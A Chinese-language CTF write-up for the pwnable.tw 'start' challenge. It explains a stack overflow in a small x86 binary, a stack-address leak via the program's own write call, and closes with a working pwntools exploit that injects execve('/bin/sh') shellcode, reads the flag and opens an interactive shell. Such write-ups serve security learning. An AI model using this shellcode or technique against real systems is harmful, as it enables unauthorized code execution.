pwnable tw start
pwnable tw start
題目說明與網址:
nc chall.pwnable.tw 10000
https://pwnable.tw/static/chall/start
解題過程:
檢查檔案防護:
反組譯執行檔,以下顯示部分執行區段內容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29entry _elfSectionHeaders::00000034
08048060 54 PUSH ESP=>local_4
08048061 68 9d 80 PUSH _exit
04 08
08048066 31 c0 XOR EAX,EAX
08048068 31 db XOR EBX,EBX
0804806a 31 c9 XOR ECX,ECX
0804806c 31 d2 XOR EDX,EDX
0804806e 68 43 54 PUSH 0x3a465443
46 3a
08048073 68 74 68 PUSH 0x20656874
65 20
08048078 68 61 72 PUSH 0x20747261
74 20
0804807d 68 73 20 PUSH 0x74732073
73 74
08048082 68 4c 65 PUSH 0x2774654c
74 27
08048087 89 e1 MOV ECX,ESP
08048089 b2 14 MOV DL,0x14
0804808b b3 01 MOV BL,0x1
0804808d b0 04 MOV AL,0x4
0804808f cd 80 INT 0x80
08048091 31 db XOR EBX,EBX
08048093 b2 3c MOV DL,0x3c
08048095 b0 03 MOV AL,0x3
08048097 cd 80 INT 0x80
08048099 83 c4 14 ADD ESP,0x14
0804809c c3 RET0x08048060 ~ 0x08048061 是把當下的 ESP 保存到 stack 上,並且 PUSH 一個 return address 到 stack 上。另外可以看出 0x0804806e ~ 0x08048082 為把
"Let's start the CTF:"
字串擺放到 stack 上。這邊假設上面是高位址,stack 向下生長,又其擺放方式為 little endians,演示 stack 如下圖:0x08048087 ~ 0x0804809c 的指令為執行一次 write、執行一次 read、return 回一個地方,可以參考以下 syscall 表格:
發現可以控制 return address:
0x08048093 處給 read 0x3c byte 的空間可以讀入資料。
0x08048087 執行了
MOV ECX, ESP
,之後執行 write,再來要執行 read 的時候 ECX 仍未被修改到值,故 ECX 仍指向"Let'"
處。0x08048099 執行了
ADD ESP, 0x14
,表示會釋出 0x14 byte 的空間。0x0804809c 的
RET
表示會 return 回一個地方,也就是在開頭所 PUSH 到 stack 上的位址。因為 read 的 buffer 過大 (0x3c 大於之後要釋放的 0x14 byte),故可以讓程式讀入的字串覆蓋到原本的 return address:
思考如何利用這個可以覆蓋 return address 的機會 (該 return 到何處):
我們已知程式沒有開啟 NX 保護,故我們可以寫 shellcode 到 stack 上,只要可以 return 到 shellcode 的地方,我們就可以執行 shellcode,故要先找到 stack 相關的位址。
注意到 0x08048060 處有把當下 ESP 的值放到 stack 上面,故我們可能可以嘗試把它 leak 出來。
因為我們先前已知可以掌控 return address,剛好城市當中又有一個現成的 write 函式可以執行呼叫,故我們可以把所覆蓋的 return address 改成跳至 write 函式:
此時我們需要注意 write 的參數,調整參數讓其印出之前保存的 ESP,不過這時我發現那個之前保存的 ESP 就正在 stack 的頂端 (因為之前的程式有
ADD ESP, 0x14
、RET
,調整了 stack 的大小),剛好可以直接印出來:payload 格式:
(padding) + (return to write)
padding: 0x14 byte (填充至 return address 之前)
return to write: 0x08048087
到這邊已經可以 leak ESP 了。
剛剛提到可能可以在 stack 上寫 shellcode,現在已知我們已經 leak 之前的 ESP 了,還需要寫入 stack 的動作。剛剛跳轉回到 write(輸出動作) 之後剛好又接了 read(讀使用者輸入),故我們可以進行第二次寫入。這邊注意到我們第二次寫入時可能可以做到的事情:
寫入 shellcode 到 stack。
利用 read buffer 過大的問題,讓程式跳到 stack 上去執行 shellcode。
整理以上重點可以得出我們的 payload 格式應該要為:
(padding) + (return to stack) + (shellcode)
padding: 0x14 byte (填充至 return address 之前)
return to stack: 保存的 ESP 加上某個篇移量,使其覆蓋 return address 後跳轉至 shellcode。
偏移量推理(不確定是否正確,僅是我的看法,不過最後的 payload 是可以成功執行 shellcode 的):
PUSH ESP
保存的是在PUSH ESP
之前的 ESP(saved ESP),故return to stack
的位址為:代號說明:
saved ESP: s_ESP
current stack top: cst
read buffer: r_buff
safe buffer: safe_buff
return to stack value: rtsv
shellcode address: shell_addr
已知條件:
cst = s_ESP - 0x4
r_buff = 0x3c
safe_buff = 0x14
shell_addr = rtsv
shell_addr - 0x4 - 0x14 = cst
求偏移量:
1
2
3
4
5
6
7設偏移量為 x
shell_addr = s_ESP + x
x = shell_addr - s_ESP
= (cst + 0x4 + 0x14) - (cst + 0x4)
= 0x14
我得出偏移量應該為 0x14。
圖解說明第二次輸入的情形:
漏洞利用之程式碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from pwn import *
# server = process('./start')
# raw_input('>')
server = remote('chall.pwnable.tw', 10000)
server.sendafter(b'CTF:', b'A' * (0x14) + p32(0x08048087))
stack_addr = int.from_bytes(server.read()[:4], byteorder='little')
shellcode = b'1\xc0\x83\xc0\x0b1\xc91\xd2h/sh\x00h/bin\x89\xe3\xcd\x80h\x9d\x80\x04\x08\xc3'
server.send(b'A' * (0x14) + p32(stack_addr + 0x14) + shellcode)
server.send(b'cat /home/start/flag\n')
server.interactive()